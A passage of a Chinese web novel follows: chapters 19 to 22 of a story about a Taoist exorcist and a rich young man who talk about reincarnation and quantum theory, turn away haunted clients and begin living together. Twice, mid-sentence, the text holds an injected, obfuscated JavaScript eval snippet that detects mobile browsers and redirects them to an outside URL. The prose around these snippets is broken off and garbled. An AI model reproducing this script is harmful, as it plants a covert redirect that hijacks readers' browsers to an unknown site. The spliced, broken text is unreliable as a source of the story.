洗漱完,陆叙走进卧室,陆修望换上他的睡衣,亦步亦趋。 陆叙忍不住问:“你想睡我的大床?” 陆修望听到这话,居然点了点头:“对。” 陆叙愣了一下,狐疑地打量他:“你上次来不是很嫌弃吗?” 陆修望想起上次的事,玩味地笑了:“上次来我还不是你老公,和你睡一起不合适。” “你是我孙子。”陆叙总觉得瘆得慌,纠正他,“记住了,别和我老公来老公去的。” 陆修望笑了一声,没说话,跟着陆叙进了卧室。 陆修望有点意外,卧室比客厅大得多,别有洞天,陆修望扫了一圈,很怀疑这里才是原本的客厅。 陆叙的工作台也在其中,桌上摆着一堆乱七八糟的书,还有几张刚画完的符纸。 旁边的柜子里整齐摆放着各种法器,铜镜、罗盘、令牌、刀剑,还有很多看不明白的精巧东西,古朴又庄严。 “看什么呢?”陆叙走过来,顺着他的目光看了一眼,忍不住显摆起来,“这些可都是好东西,你有钱也买不到,全靠机缘。” 他打开柜子,拿出一座小巧的铜塔:“这玩意起码有三百年历史。”又拿起一把铜钱剑,“这是我师姐送我的,从一个极凶之宅找到的宝贝,那宅子相当恐怖,她当时都被迷了眼。” 陆修望听他介绍,又四处看了看,这屋子里,除了科仪,最多的就是书,忍不住问:“你们这行也得看这么多书?” 陆叙顺着他的视线看过去,正是桌面上那本翻开的书,表情变得非常神秘:“那个……算了,不给你看。” “为什么?” “不想告诉你,我先睡了。” 陆叙爬上床,随意地往里侧一躺,拉过被子盖上。 陆修望站在床边看了他一会儿,在他旁边躺下,两人各占一边,中间隔着足够的距离。 陆叙背对着他,很快呼吸就平稳下来。陆修望盯着他的脖颈,过了许久,才慢慢睡了过去。 他站在一个宁静的院子里。 白狐趴在廊下的躺椅上,尾巴松松垮垮地搭在扶手边,阳光落在它雪白的皮毛上,像镀了一层金边,看起来非常惬意。 陆修望环顾四周,总觉得这地方很陌生,他走到院门口往外看,四周山势陡峭,峰峦连绵,山下的矮树林里蜿蜒着一条路,正是他来时走过的。 他这才意识到,是那座山,上次白狐离开他之后走进的那座山。这里就是半山腰的那个院子,位置极好,也是个洞天福地。 陆修望站在廊下,看着远处层叠的山林出神。身后忽然传来窸窣的响动,还没来得及回头,一团毛茸茸的东西就跃进了他怀里。 白狐在他臂弯里蜷成一团,脑袋蹭了蹭他的手心,尾巴卷上他的手腕。 他低头看着怀里的狐狸,伸手顺了顺它背上的毛,手感温暖柔软,比他想象中还要舒服。白狐发出一声满足的哼唧,整个身子都放松了下来。 山风吹过,带着松木和泥土的气息。 陆修望的手指穿过那蓬松的皮毛,正想再摸一把,怀里的白狐忽然发狂了,它开始剧烈挣扎,凶相毕露,四只爪子乱蹬,还狠狠踹了他好几下。 他一愣,还没反应过来,眼前的画面开始摇晃—— 睁开眼,天还没大亮,陆叙被他死死箍在怀里,正用脚狠狠踢他的腿。 “你他妈睡觉干嘛要抱着我?”陆叙声音带着点刚睡醒的沙哑,一脸烦躁。 陆修望还有点恍惚,盯着那张近在咫尺的脸看了几秒,才意识到刚才那些都不是真的。 “你有病吧我快被你勒死了。”陆叙挣扎着推开他。 陆修望松手,长舒一口气,安抚地拍了拍他的背:“抱歉。” 陆叙狠狠踹了他一脚:“赶紧起开,别在这耍流氓。 ” 陆修望翻身躺到另一边,却紧紧抓住了陆叙的手腕:“再躺会。” 陆叙难以置信地看了他半天,最后放弃似的往回一倒,重新躺进被子里。 “有病。”他嘟囔了一声,声音闷闷的。 陆修望看着他的侧脸,突然开口:“你相信前世今生吗?” “信啊,我之前就说过吧。”陆叙有些不明所以,“轮回转世是道家很常见的概念,我要是不信这个,还干什么这行?” “为什么信?” “道家讲三魂七魄。”陆叙调整了一下姿势,“人有三魂七魄,人活着的时候,三魂合一,七魄管束感官功能,人死后,七魄散去,三魂各归其位。” “归哪儿?” “胎光归天,回到天地元气里。爽灵归地,带着前世记忆去地府报到,等着转世。幽精留尸,守着肉身慢慢消散。”陆叙说,“转世的时候,爽灵会被洗掉记忆,但因果业力还在。” 陆修望听完,沉默了几秒:“你别说,还挺科学。” “科学?”陆叙挑眉。 “彭罗斯提出过一个量子意识理论。”陆修望说,“他认为人的意识是大脑微管中的量子态,包含了记忆、性格、思维模式,所有这一切构成自我的信息。” 陆叙撑起身子,看起来很感兴趣:“我之前只是看过科普视频,讲得很玄乎,你具体说说?” “量子力学有个定理,量子信息不能被创造或消灭,只能转移。”陆修望继续说,“人死的时候,微管结构崩解,但量子信息会释放到时空几何结构中,被时空储存下来。” 陆叙若有所思地点了点头。 陆修望继续说:“新的生命体出现后,新的微管如果和旧的信息场产生共振,就能读取部分前世记忆。” 陆叙思考了几秒,无意识地又往陆修望身边靠近了点:“这套理论,确实和道家的说法差不多。” 量子信息守恒,其实就是道家的神不灭,人死后信息释放回时空,就是胎光归天,而携带记忆的那部分信息,就是爽灵。 陆修看着陆叙那副兴致勃勃的样子,神情却有点恍惚,片刻后,他突然问:“那你觉得,人有可能在梦里见到前世的人吗?” 陆叙看向他,陆修望正目光专注地看着自己,眉眼间带着一种说不清的情绪,不像是在探讨学术问题,倒像是在问一件真实发生过的事。 “这在我们这一行是可以实现的,但你别轻易尝试。”陆叙斟酌了一会,还是开口了,“人在清醒时,识神当家,元神蛰伏,入睡后,识神休息,元神浮现,深度睡眠时,元神完全掌控,有能耐的大师可以在这个状态下进行引导,就有可能忆起前世。 陆修望沉默了一会儿,又问:“那为什么转世的我还是我,而不是别人?” 陆叙没太明白他的意思。 “转世投胎,在量子力学中类似于硬盘重写重读,中间经历了这么多变化,为什么说那还是我?”陆修望说,“现在很多创作中,总爱把前世今生的我当作同一个人,我之前从不这么认为。” 陆叙皱起眉,认真思考了一会儿:“道家的思想里,转世的不是你这个‘人’,但是你的元神。” “元神没有名字,没有自我执念,这些都是识神的东西。”陆叙解释,“元神就是一团有特定波动模式的元炁。有些人觉得转世后还是转世前的那个人,是因为元神的波动方式一致。” “打个比方,”陆叙说,“钟被重铸了,声响别无二致,但关于它是否还是本来的那个钟,就各有看法了。” “那所谓的业力呢?”陆修望又问,“如果我不存在了,为什么还要承担前世的因果,为什么还可以和前世的人产生交集?” 陆叙被这个问题难住了,他挠了挠头:“这个……道家说业力是元神上的痕迹。《太上感应篇》里书名,祸福无门,唯人自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099182|195686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 召。你的每个行为、念头,都会在元炁中留下波纹。你下辈子遇到的某个人,如果某一处原神波纹和你一致了,就说明你俩之间有未尽的因果。” “前世你和某人互动过,你们的量子态发生了纠缠。”陆修望接过话头。 陆叙点头:“对,差不多这个意思。” “很多人把它当作一个烂漫的理论,认为这是前世今生注定的缘分,”陆修望说,“以前我总觉得这种说法太过于……曲解科学,但现在我信了。” 陆叙偏过头看他:“你又咋了?” 陆修望笑了笑,神情放松下来:“我俩之间不就是缘分吗?不管上辈子还是这辈子,都发生过什么。” 陆叙疑惑地皱眉,又突然冷笑:“确实,我也觉得。你上辈子肯定欠我的,要不然我怎么从收到你消息那一刻就想揍你。” “原来你那个时候就注意到我了。”陆修望只是看着他笑了笑。 那笑容很温和,却让陆叙莫名觉得有些异样,这人好像话里有话,又好像只是他想多了。 他没深究,就这么毫无形象地躺在床上,和陆修望漫无目的地闲聊起来。 从前世今生,聊到量子退相干和孟婆汤,又聊到阴阳八卦修仙炼气,话题越扯越远,晨光透过窗帘的缝隙洒进来,落在两人中间。 陆叙打了个哈欠,揉了揉眼睛,才发觉时间已经接近正午。 陆修望也注意到了窗外的光线,转头看着他:“所以你干这行,其实也是在研究量子物理。” “你别说你还真别说。”陆叙撑着下巴,困意和兴奋混在一起,让他的声音带上了几分慵懒的得意,“等我以后不干了,我高低去当一个物理学家。” “行啊。”陆修望配合地接话,“到时候我给你投资,建个最先进的实验室。” “那挺好。”陆叙笑着翻身,顺手拿起陆修望放在床头的手机,划了几下,发现没有外卖软件,叹息一声,又打开自己的手机,“先吃饭吧,我快饿死了,你想吃什么?” “吃你想吃的。” 陆叙随意点了些东西,忽然说:“你这人,其实还挺有意思的。” “哪里有意思?” “就……”陆叙想了想,“我总觉得你过的是那种上流社会的生活,马术射箭飙车越野什么的,和我就是两个世界。没想到你能和我聊老半天科学玄学,还挺接地气。” 陆修望轻嗤一声:“上流社会的是我爸我妈还有陆家,又不是我,我就一刚毕业的无业游民。” 陆叙来了兴趣:“所以你以前学什么的?物理?” “以前对数学挺感兴趣,但最后读了商科,物理属于随便看看那种吧。” “那也挺厉害的。” “不过现在我觉得你这一行很有意思。”陆修望说着这话,自己都笑了一下,“主要是能遇到有趣的人……有趣的事。” “我就说你是玄学爱好者吧,你之前还一脸不情愿。”陆叙枕着手臂看他,总觉得陆修望那句“无业游民”不太对味,又安慰他说,“你这样也挺好的,虽然好像什么都没做成,但总比什么都没兴趣强。” “也对。”陆修望收回目光,“总要做一点自己想做的事。” “所以,”陆修望开口,“我有个提议。” “什么提议?” “你的工作室还缺人吗?”陆修望尽量让自己的语气认真,“我来当你的合伙人……也当你的护身符。” 陆叙怀疑地看向他,一时不知道该说什么,敲门声响起,打破了房间里短暂的沉默。 陆叙下意识地坐起身,脑子里还在消化刚才那句话。 “你认真的?” “认真的。”陆修望看着他,目光平静而坦然,“你这行挺危险,缺一个阳气重能镇宅的,我缺……一个能让我觉得有意思的事。正好互补。” 20. 第 20 章 陆叙不知道该怎么回答陆修望刚才的提议,敲门声很急,倒是给了他一个缓冲的机会。 他跳下床,顶着一头乱发打开门,门外站着三个年轻男人,穿着光鲜时尚,但脸上的焦急和害怕藏都藏不住。 “陆先生吗?”站在最前面的男生勉强维持着镇定,声音却有点紧绷,“我们是林老板介绍来的,求求您一定要帮帮我们!” 陆叙上下打量了他们一眼,为首的两人眼睛无神,后面那个眼神有点晦涩,而且这三个人身上有晦气,怎么看怎么不对劲,但一时说不上来是哪里不对。 “我不是陆先生。”他很自然地侧身让开,“他在里面,你们进来吧。” 三人鱼贯而入,其中一个进门时脚步虚浮,被身边的同伴扶了一把。 陆叙关上门,正好看见陆修望从房间里走出来。 “孙……陆先生,他们找你。”陆叙朝陆修望眨了眨眼,“之前的客户介绍来的。” 陆修望愣了一下,看着陆叙那副理所当然的表情,又看看三个明显有事的男人,瞬间明白了这人的意思。 他心里偷偷笑了一下,面上却不动声色,只是淡淡地扫了三人一眼。 “坐。” 一个字,语气里带着天然的距离感。 陆修望维持着人设,在三人对面的沙发上坐下,姿态随意却透着一种让人不敢轻慢的气场。 三个人小心翼翼坐下,背挺得笔直,那种诚惶诚恐的样子,确实挺像是在面见顶头上司。 陆叙在心里翻了个白眼——这人在死装这一块几乎无人能敌。 陆修望看了陆叙一眼,看他事不关己的样子,开口和来人沟通:“说吧,什么事。” 陆叙站在窗边,距离不远不近,表面上像是在旁听,实际上目光一直在三人身上游移。 他得观察一下这三个人到底是什么情况。 三人简单自我介绍后,其中一个看起来外向的人先开口了:“我们三个人在梦里撞鬼了!而且梦境非常相似。” “从什么时候开始的?”陆修望问。 “大概三个月前。”赵阳阳说,“一开始是偶尔一次,现在几乎每天晚上都会梦到。” “梦里的场景……”宋凯组织了一下语言,“门是锁好的,但突然就被人从外面打开了……” “对!”马俊杰急切地接话,“有时候是悄无声息打开,有时候是砸开……” 宋凯打断他:“这个不是重点,重点是那玩意要杀了我们!” 三个人你一言我一语,越说越乱,声音也越来越大。 “够了!”陆修望皱着眉打断他们,语气里带着明显的不耐烦,“一个个说,别他妈乱叫。” 三人瞬间安静下来。 陆修望的脸色很难看:“你。”他指了指赵阳阳,“你来说。” 赵阳阳咽了咽口水,努力让自己冷静下来。 “是这样的,陆先生,”他开口道,“我们仨一起做生意,平时就住一起。是我们自己买的新房,不是二手房,也不是什么凶宅。” “三个月前,我们三个人不约而同地开始做这种梦。”赵阳阳说,“一开始我们都没提,毕竟一个大男人,被梦吓得浑身发抖,说出去得被人笑话。” “但后来越做越频繁,每天晚上都会梦到,而且越来越真实。我终于忍不住说了,结果发现……我们三个都在做这种梦。” “虽然细节有些不一样……但结局都一样。”他顿了顿,声音里带着绝一丝绝望:“我们会被那个人制服,然后在他快杀死我们的时候……我们就被吓醒了,醒过来后浑身失力,就像梦里的场景是真实发生。” “最开始我们猜测,可能是房子的问题,”宋凯接话,“所以我们分开了,酒店、朋友家都住过。” “但没用。”赵阳阳说,“住酒店就梦到有人从酒店房间进来行凶,住网吧就梦到有人来网吧行凶……就像……” “就像那个东西一直跟着我们。”赵阳阳说,“不管我们在哪里,它都能找到我们。” 陆修望点了点头,又问:“找过别人看吗?” “找过!”赵阳阳急切地说,“最开始一个和尚帮我们处理了一段时间,后来因为一些事,和他谈崩了。” “过后我们又找了好多人,但都说帮不了,或者说他们处理不了这种事。林老板说您很厉害,所以我们……” “梦里那东西是你们认识的人吗?”陆修望打断他 三人对视了一眼,陆叙看到他们眼里闪过一丝心虚。 “看不清,也分辨不出是谁。”宋凯说,“很模糊,只能感觉到……很强的恶意。” “那能看清他的形态、颜色吗?有没有什么特别的地方?” “不、不记得了……我只感觉到一团黑,偶尔还会发红,”马俊杰说,“每次醒来只记得大概的情景,还有那种恐惧。” 陆修望又问了几个问题,非常公式化,像是在开一个普通的商务会议。 陆叙站在窗边,看着陆修望不紧不慢地问话,那副天生高高在上的样子让三个人根本不敢隐瞒什么,回答磕磕绊绊,却都很老实。 他嘴角不自觉地上扬,又冷哼一声,这小子,放着家里的正经事不做,非得跟着他搞这些玄乎的东西,感觉脑子进水了。 陆修望偏过头,正好对上陆叙那双带着点不满的眼睛。 两人目光对上,陆叙冲他扬了扬下巴,陆修望也忍不住笑了一下。 这个笑容很短暂,但落在三个客户眼里,却让他们更加紧张了——什么情况?是觉得我们的事很可笑吗? 赵阳阳小心翼翼地开口:“陆先生……你看这事?” 陆修望抬手打断他,做出一副沉思的样子。 几分钟后,陆叙的观察也结束了。 神藏于目,有杀业或者重孽的人,神会被业障遮掩,这三个人虽然强作镇定,但身上有很重的晦气,这件事十有八九就是业力上身,因果报应。 冤有头债有主,这种单子,怪不得其他人不想接。 陆叙轻咳了一声。 陆修望看向陆叙,陆叙做了一个送客的眼神。 陆修望明白了,他往后靠了靠,没再说话。 这个动作很明显——谈话结束了。 陆叙走向门边,拉开门,像个称职的员工一样:“三位,请吧。” 三个人愣住了。 “什么?”赵阳阳站起来,“你这是什么意思?” 陆叙礼貌地说:“不好意思,你们这单比较棘手,陆先生最近手上还有很多待处理的事,恐怕接不了。你们可以找别人试试。” “不是,”宋凯急了,“我们大老远过来的,你……” “抱歉,”陆叙说,“陆先生的意思你们也看到了,这事因果太重,短时间处理不了。” “陆先生,你就不能帮帮忙吗?”马俊杰转向坐在沙发上的陆修望,声音都变了,“我们真的快撑不住了!” 陆修望看着他们,淡淡地说:“我也想帮,但这事……力有不逮。” “多少钱?!”宋凯突然打断,从包里掏出一沓钱拍在茶几上,“这是十万定金,不够我们还可以再加!” 他的情绪激动起来,冲着陆叙大吼:“是不是嫌钱少?二十万够不够?三十万呢?!” 陆修望猛地站起来,一副要动手的样子,陆叙轻轻拉了他一把,他们做这一行的,最好别和咨询的人产生正面冲突,不然后续会有很多麻烦,举报、诋毁,什么都有可能,陆叙一般选择冷处理不理睬,但这三人显然不是善茬。 陆叙试着沟通:“你们这事不是钱的问题……” “我看就是故意的!”马骏猛地打断他,“什么都不解释就说接不了,想钱想疯了是吧?!穷鬼来的!” 陆修望看出陆叙不想起冲突,他走到三人面前,面无表情地看着他们: “给你们脸了?说了接不了,听不懂?” 他顿了顿,又补充道:“再纠缠下去,我不介意找人弄死你们。” 空气凝固了几秒。 三个人被压得说不出话,他们终于意识到,眼前这个人不是在开玩笑。 “走吧……”赵阳阳拉了拉马俊杰。 宋凯咬着牙,拿起茶几上的钱,带着另外两个人匆匆离开了。 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“那你父母呢?他们就看着你胡闹?” “我非要胡闹他们也那我没办法。” 陆叙沉默了几秒,这犟种看来是铁了心要来干这行,无奈摆了摆手。 “行吧,随便你,”他说,“我就当我家里多了个人呗。” 陆修望笑了一下,然后拿出手机,发了条消息。 过了一会,他突然很随意地说:“隔壁三户我都买下来了。” 陆叙没理解:“啊?” “想让你搬家肯定不可能,”陆修望目光落在陆叙脸上,“你喜欢大房子大床,我让人来装修,打通,你亲自看风水布置。不开公司,但可以整一个像样的工作室。” 陆叙盯着他,半晌说不出话来。 “你……”他咽了咽口水,看起来很恐慌,“你是不是脑子有问题?” “对啊,如何呢,”陆修望居然点了点头,“不过我也喜欢敞亮点的工作环境,你这也太小了。” “不是……”陆叙还是难以置信,“你认真的?有这点钱干什么不好……” “也不多吧。”陆修望说。 “……” 陆叙张了张嘴,又闭上了,他就多余问这句。 陆修望揽住他的腰,将人从沙发上带起来:“去收拾东西吧,反正你也不打算接这单,先去我家住段时间,等这里装修好再过来。” 陆叙沉默片刻,突然开口:“你干嘛老对我动手动脚?” “哪有?这不就是朋友间的正常动作吗?”陆修望皱了皱眉,“你这人怎么这么敏感?” 陆叙不高兴了:“我敏感?好好好,我敏感。” “别生气了。”陆修望揉了揉他的头发,把人推进卧室里,“你简单带点必需品就行,快点,我等你。” 陆叙站在卧室里,盯着面前乱糟糟的床铺发呆。 脑子里反复回放着陆修望刚才的动作。 真的是朋友间的正常动作吗? 陆叙越想越觉得不对劲,他猛地甩了甩头,想把那些乱七八糟的想法甩出去,结果脑子里又蹦出陆修望上次抱着他睡觉时做贼心虚的表情。 陆叙深吸了一口气,转身走到门口,冲还站在客厅的陆修望喊:“陆修望!” “嗯?”陆修望抬头看他。 “你是不是有病?”陆叙指着他,声音莫名带着一种恼羞成怒的意味,“什么叫朋友间的正常动作?你跟你那些哥们也这么动手动脚又搂又抱?” 陆修望愣了一下,居然笑了:“怎么反应这么迟钝?” “……” 陆叙觉得自己的脑子又宕机了。 “你到底什么意思?”陆叙咬牙切齿。 陆修望神态轻松地靠在沙发上,嘴角带着点遮掩不住的笑意:“你先猜,猜错了我再告诉你什么意思。” 看陆修望那副悠哉的样子,陆叙那个气简直不打一出来,他抄起陆修望的外套扔到他头上:“起床不叠被子,恶心死了,收拾好赶快滚出我家。” 21. 第 21 章 陆叙以为陆修望说的是陆家老宅,直到车子驶出临城市区,拐进郊外一处小庄园。 车在主楼前停稳,陆叙愣了一下:“这哪儿?” “我家。”陆修望下车,顺手接过陆叙的小行李箱。 陆叙好奇地四处打量,顺便看了看山水走势,这地真的相当不错,依山傍水,树木常青,院内也不是常规的花园,反而是成片稀罕的绿植,有点品味,但—— 典型的土皇帝孙子的窝点,陆修望真该死啊。 “你为什么在临城有房子?”陆叙跟着他往里走,“你家在这边有生意?” “方便爬山。”陆修望随手指了指窗外,“之前来过一次福山,风景很好。云城没有这么苍翠险峻的山,偶尔想爬就会来住几天。” 陆叙本想问,偶尔来你买这么大一套房子干什么,看了看室内装潢,又闭嘴了。 转而说:“福山算什么,以后如果有机会,带你去看看云脊岭,那才是真正的雾里看山山里看云层峦叠嶂。” 陆修望好奇地问:“云脊岭在哪儿?” “我老家。”陆叙说,“临城出去不远,福山只能算云脊山脉的一个小山头,我家那儿才是主峰。” 陆修望皱了皱眉,像是有点意外:“你老家怎么在山上?” 陆叙笑了,煞有介事地拍了拍陆修望的肩膀:“很奇怪吗?小说里像我这样集天地之精华的世外高人,不都是住在神秘的大山里吗?” 他一屁股坐进沙发,往后一靠,又慢悠悠补了句:“开玩笑的,其实是我师父的道观在那儿。” 陆修望跟着在他旁边坐下:“所以,你师父为什么要把道观建在大山里?” “为了维持他世外高人的形象啊。”陆叙叹息,显然积怨已久,“顺便折磨徒弟。” 所以连世外高人这种名头都有师承吗?陆修望没忍住,眉眼间带上笑意。 陆叙没一会就坐不住了,站起来四处转悠:“那我住哪?” 陆修望随意指了指:“楼上楼下都有空房,自己选个喜欢的风水,换着来也行。” 看了一圈,这地方不仅大的离谱,更有配置奢华的电竞房、街机房,品类丰富应有尽有,简直是所有游戏爱好者的必住榜榜一。 看着面前的梦中情房,陆叙忍不住说:“早说你家在临城,还这么有品,我二话不说就来了,还整那什么破工作室干嘛。” 陆修望走到楼梯下,抬头看着他:“也不是不行。” “可以住这边。”陆修望顺势提议,“有活的时候再去工作室。” 陆叙挑了挑眉:“哦?” 陆修望找了个借口:“毕竟咱俩现在算是一起做生意,你看刚刚那三个人,他们住一起,就是为了方便沟通交流。” 陆叙想了想,他们干这行的大多缘分浅薄,虽然认识时间不长,但陆修望老是像跟屁虫一样跟着他,强行成了他的好朋友,游戏里也是比较默契的搭子,现在还多了合伙人这么一层莫名其妙的关系。 住一起其实不赖,至少开黑方便多了,况且这地方确实很好,空间大阳光足,风景更是绝了,很适合养身养心。 “行吧。”陆叙走进那个超大的阳台,窗外景色一览无余,还有一个舒适的按摩椅,他毫不客气地躺了上去,调了个舒服的角度,整个人陷进椅背里。 山被夕阳染成暖黄色,风柔和地吹过,带着草木的清香。 陆叙闭着眼睛,舒服得叹了口气,嘴里冒出一句:“老公,你对我真好,爱你。” 陆修望刚走到阳台门口,听到他这句话,脚步不由自主地顿住。 陆叙躺在那儿,嘴角微微翘起,整个人松弛又餍足。 陆修望看着他,心跳漏了一拍,垂下眼,喉结动了动,有句话在舌尖转了好几圈,最后还是被他咽了回去。 还不是时候。 既然现在已经步入玄学行列,那表白这种事,得找人挑个好日子。 陆叙疑惑地看过来,陆修望收起眼里复杂的情绪,神色恢复如常,他走过去,在陆叙旁边的椅子上坐下,尽量让语气听起来像随口一说:“当你老公的前提条件,是不是要让你心情好?” “很有悟性。”陆叙重新闭上眼,脸上带着笑,言语里却满是威胁,“所以你少来惹我。” 阳光在陆叙的侧脸镀上一层柔和的光,让他那副放狠话的样子一点威慑力都没有。 陆修望弯了弯嘴角,移开视线,望向窗外的山。 这人根本不知道自己有多好哄。 陪陆叙玩了会游戏,又把自己的手机交给他抽卡。 陆叙手气不错但很歪,新卡池连着出了两张陆修望已有的金卡,眉眼间的幸灾乐祸藏都藏不住了。 看陆叙心情又好了点,陆修望才开口闲聊:“你为什么不接今早那单?” 陆叙眼睛没离开屏幕:“不想接呗。” “因为麻烦?” 陆叙没回答,反问他:“你觉得他们的经历熟悉吗?” 陆修望愣了一下,脑子里开始回放那三个人说的情况——多人同时做噩梦,梦境内容相同,频率越来越高…… 他猛地坐直了身体,警觉起来:“这不就和我家一样吗?只不过他们是三个人。” “哟,这会儿还挺聪明。”陆叙终于抬起眼看他,带着点赞许,“那你觉得他们遇到的是什么情况?” 陆修望眉头拧起来,声音有些紧张:“是不是……和我家那事有关?” 陆叙的眼神立刻变了,忍不住白了他一眼:“刚夸完你,你就开始展示你那光滑的大脑皮层了?” 陆修望:“……” “我的意思是,他们招惹的东西怨念很深,或者能力很强,所以影响范围大,堪比你家地下那位百年老尸。”陆叙把手机放下,正了正身子,“他们身边的人也可能被波及,只不过这种影响会逐渐减弱,不容易引起注意。” 陆修望松了口气,又问:“那三个玩意虽然看着不太顺眼,但年纪不大,怎么就招惹上这种东西了?” 陆叙沉默了几秒,脸上表情不再轻松:“这才是重点。他们身上有杀业,不是什么好东西,我猜缠上他们的,就是他们自己造的孽。” 他顿了顿,又补充:“你想想你家的情况,其实也没比他们严重多少,这三个人犯下的事肯定极其恶劣,所以我不想帮。” 陆修望怔了一瞬,随即笑了:“所以你当初虽然一直骂我,但觉得我是个好人?” 陆叙乐了:“你是蠢人。” 陆修望笑意更深,没忍住伸手捏了捏他的脸。 陆叙反应极快,一巴掌拍开他的手:“别在这和我嘻嘻哈哈。” 陆修望把手收回来,又说:“我发现你做事还挺有原则。” “那当然。”陆叙哼了一声,“人命、恩怨,这些东西怎么能拿来做买卖。” 他顿了顿,把话题转向陆修望:“所以,你家那边,事情查得怎么样了?” 陆修望悠闲地往椅背一靠:“大概查清楚了,我太爷爷早年和人结了怨,对方手段阴毒,害了我家很多次,那个男人应该就是他的手笔,只不过藏得太深了。” 陆修望又说:“之前我太爷爷机缘巧合下救了一位高僧,为了报答,用心力帮我家护过坛,保了我家几十年的安稳。” “不过他三年前圆寂了,方师傅和郑师傅也说,他的法力会渐渐失效,所以那股怨气才会这样来势汹汹。” 陆叙皱起眉,这个解释说得通,但并不能解释为什么只有他能看出端倪。 “你太爷爷的坟呢?”陆叙又问,“查出什么问题了吗?” 陆修望摇头:“这个是真没头绪,我爸把所有环节都彻查了好几遍。每个环节参 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他脸色还是不太好,但火气已经没刚才那么大了:“你爸妈忙事业忙生意,不想管这些可以理解,但你每天不务正业,如果想知道真相,就自己去查。” “行。”陆修望点头,态度端正,“我让人再去查,从族里老人那入手,看看这两件事有没有关联。” 陆叙瞥了他一眼。 认错倒是挺快,态度也算诚恳,脑子也还行,知道抓重点。 他哼了一声,别开脸,语气稍微缓和了点:“蠢归蠢,起码还有救。” 他靠回椅背,看着窗外,过了几秒才开口:“查到线索,我才能帮你。” 陆修望一愣,还没来得及说话,就听他继续说—— “上次收了你不少钱,虽然我嘴上说是一半的费用,但如果不帮你彻底解决这事,我心里会过意不去。”陆叙语气稀松平常,“你刚刚说不用查了,差点没把我气死。” 陆修望怔住了。 他看着陆叙的侧脸,胸口忽然涌上一股说不清的情绪,酸酸软软的,把心填得满满当当。 他垂下眼,忍了忍,再开口时语气故作轻松:“上次的钱是上次的事,和我们家打交道,最不值一提的就是钱。” 陆叙扭过头,冷笑一声:“钱都不值一提了?” 他上下打量了陆修望一眼,啧了一声,终于把那句憋在心里很久的话说了出口:“土皇帝的孙子真该死啊。” 陆修望又气又想笑。 “所以,”陆叙眯起眼睛,慢悠悠地追问,“不提钱是啥意思?你的意思是我还能得到别的好处?” 陆修望清了清嗓子,直起身子,捧住陆叙的脸,将他的目光转向自己:“我啊。” 陆叙:“……” “我觉得我非常优秀。”陆修望脸不红心不跳,“你觉得我这人怎么样?” 陆叙盯着他看了两秒,表面平静,内心早已崩溃,很难想象,一个人能做到如此不要脸。 他推开陆修望的狗脸,警告他:“请你不要在我这哄抬蠢猪价格。” 22.第 22 章 陆叙打了个哈欠,看了眼时间,把手柄扔在沙发上:“行了,不玩了,我得睡了。” 陆修望抓住他的手腕:“再来一把,我带你通关。” “你果然想害我。”陆叙挣开他的手,打开行李箱拿出自己的睡衣和洗漱用品,“你这个年纪的人熬夜不会死,我不行。” 他抱着东西走出电竞房,推开自己白天选好的那间客房的门,然后愣住了。 房间里空荡荡的,只有一张奢华的大地毯,连个床的影子都没有。 陆叙站在门口,回头看向沙发上的陆修望。 陆修望放下手柄,神情无辜:“怎么了?” “你自己看。” 陆修望起身走过来,站在陆叙身后往里看了一眼,眉头微微皱起,语气里带着点歉意:“玩游戏忘了让人来准备,我的问题。” 说着,他抬手搭上陆叙的肩,自然地把人往自己卧室的方向带:“走吧,睡我那儿。” 陆叙被他半推半揽着走了两步,突然意识到什么,脚下一顿:“我就知道。” “知道什么?”陆修望没松手,低头看他,语气里带着点笑意。 “你不安好心。”陆叙侧过脸,和他对视,“又想像昨天那样把我当抱枕是吧?” 陆修望没否认,微微低头凑近了些,声音压得很低:“你想什么呢?” 两人之间的距离近得有些过分,甚至能感觉到对方呼吸时胸腔的起伏,陆叙感觉鸡皮疙瘩都起来了。 陆修望,真是厚颜无耻不要脸不守男德第一人,陆叙正想抬脚踢他—— “我卧室里有两张床。”陆修望捏了捏他的肩,语气真诚,“当然,如果你想和我睡一起——” 他顿了顿,嘴角微微上扬:“我也不介意。反正咱俩都老夫老妻一起睡过那么多次了。” 陆叙被他捏得肩膀发酸,抬手拍开他的狗爪子:“别碰我。” 陆修望轻笑一声,收回手,把他推进浴室。 洗漱完,陆叙打开主卧的门,又是一阵咋舌。 这地方大得离谱。 三面墙都是落地窗,厚实的窗帘遮住了所有光线。实木地板上铺着一整张柔软的白色地毯,踩上去没有一点声响。房间里立着几盏造型繁复的落地灯,和床头那幅抽象画倒是相得益彰。 但最让陆叙意外的是房间中央的两张床。 确实是两张床,但不是他想象中那种分居两侧,这两张床紧挨在一起,中间只隔了一道极窄的缝隙,设计也截然不同。 靠窗那张线条温润,床垫厚实,被子是柔和的米白色,一看就软得能让人陷进去,另一张黑色金属框架,床垫更薄更硬,整体搭配是深灰色,看起来冷冰冰的。 陆叙打量了两秒,径直走向靠窗那张,转身一屁股坐上去。 床垫陷下去一块,居然是软硬适中的质感,承托感很好。 “我要这个。”他宣布。 “这是我平时常睡的。”陆修望靠在门边,抱着胳膊,语气里听不出什么意味。 “现在是我的了,”陆叙往后一倒,整个人摔进被子里,“你得为你的失误买单。” 陆修望没说话,只是看着他笑。 陆叙躺了两秒,忽然撑起身子,像是想起了什么,狐疑地看着他:“你神经病吧?卧室里放两张床干嘛?很影响风水格局和睡眠质量。” 陆修望这才走过来,在另一张床边坐下,两张床挨得太近,能听到彼此的呼吸声。 “这两张床功能不一样。”陆修望拍了拍身下的床垫,语气随意,“这张支撑性强,适合运动完睡,我爬完福山会睡这边缓解肌肉疼痛,你那张比较适合日常使用,优化睡眠质量。” 陆叙低头看了看自己躺的床,又看了看陆修望坐的那张。 